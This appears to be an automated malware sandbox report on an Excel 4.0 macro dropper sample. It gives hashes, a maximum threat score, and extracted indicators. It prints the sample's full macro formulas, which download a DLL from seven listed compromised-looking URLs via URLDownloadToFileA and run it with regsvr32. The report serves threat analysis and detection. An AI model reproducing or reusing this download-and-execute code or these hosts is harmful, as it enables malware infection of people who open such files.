General

  • Target

    a55d81070dbde3d02222cb8ea15b9f07dfc1bd6d89953c1c52df715813753e7c

  • Size

    21KB

  • Sample

    241111-vtd3ssvrbq

  • MD5

    4970dd194e1eb78402899bcbca6908a7

  • SHA1

    5cf1f0bef019c8e849bff5a691d510a248e0a711

  • SHA256

    a55d81070dbde3d02222cb8ea15b9f07dfc1bd6d89953c1c52df715813753e7c

  • SHA512

    aea0b36efa9de2756b9ebfab00040d8ce1ad3e54ab665d3c05e08dc5794c9c38a8dccdc048d19a24564306cbdb9add73bc2d71df80044c4b00f47d5e7bc3d8f1

  • SSDEEP

    384:n3uAi/NjIVRS8EibbwBlw75SYrLb5CzgObff9kC+xbX74eII:7sNs/zXtFCBn9kC+xbL42

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.almoeqatar.com/cgi-bin/3g/

http://www.ayelet.info/wp-admin/oHRoG0X9ubuNtQ/

http://www.lavameapp.com.ar/slide-images/7bzQevDGMld/

http://lista33rivera.uy/wp-content/jiBtjSaJMcM/

http://cenaf.com.co/error/TpewL/

http://pusatbahasa.unsyiah.ac.id/backup/qWzXJpGddclh4zZjt/

http://baykusoglu.com.tr/wp-admin/317Sz3wZsYmAAmmL6/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.almoeqatar.com/cgi-bin/3g/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ayelet.info/wp-admin/oHRoG0X9ubuNtQ/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.lavameapp.com.ar/slide-images/7bzQevDGMld/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://lista33rivera.uy/wp-content/jiBtjSaJMcM/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cenaf.com.co/error/TpewL/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://pusatbahasa.unsyiah.ac.id/backup/qWzXJpGddclh4zZjt/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://baykusoglu.com.tr/wp-admin/317Sz3wZsYmAAmmL6/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.almoeqatar.com/cgi-bin/3g/

xlm40.dropper

http://www.ayelet.info/wp-admin/oHRoG0X9ubuNtQ/

xlm40.dropper

http://www.lavameapp.com.ar/slide-images/7bzQevDGMld/

xlm40.dropper

http://lista33rivera.uy/wp-content/jiBtjSaJMcM/

xlm40.dropper

http://cenaf.com.co/error/TpewL/

Targets

    • Target

      a55d81070dbde3d02222cb8ea15b9f07dfc1bd6d89953c1c52df715813753e7c

    • Size

      21KB

    • MD5

      4970dd194e1eb78402899bcbca6908a7

    • SHA1

      5cf1f0bef019c8e849bff5a691d510a248e0a711

    • SHA256

      a55d81070dbde3d02222cb8ea15b9f07dfc1bd6d89953c1c52df715813753e7c

    • SHA512

      aea0b36efa9de2756b9ebfab00040d8ce1ad3e54ab665d3c05e08dc5794c9c38a8dccdc048d19a24564306cbdb9add73bc2d71df80044c4b00f47d5e7bc3d8f1

    • SSDEEP

      384:n3uAi/NjIVRS8EibbwBlw75SYrLb5CzgObff9kC+xbX74eII:7sNs/zXtFCBn9kC+xbL42

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks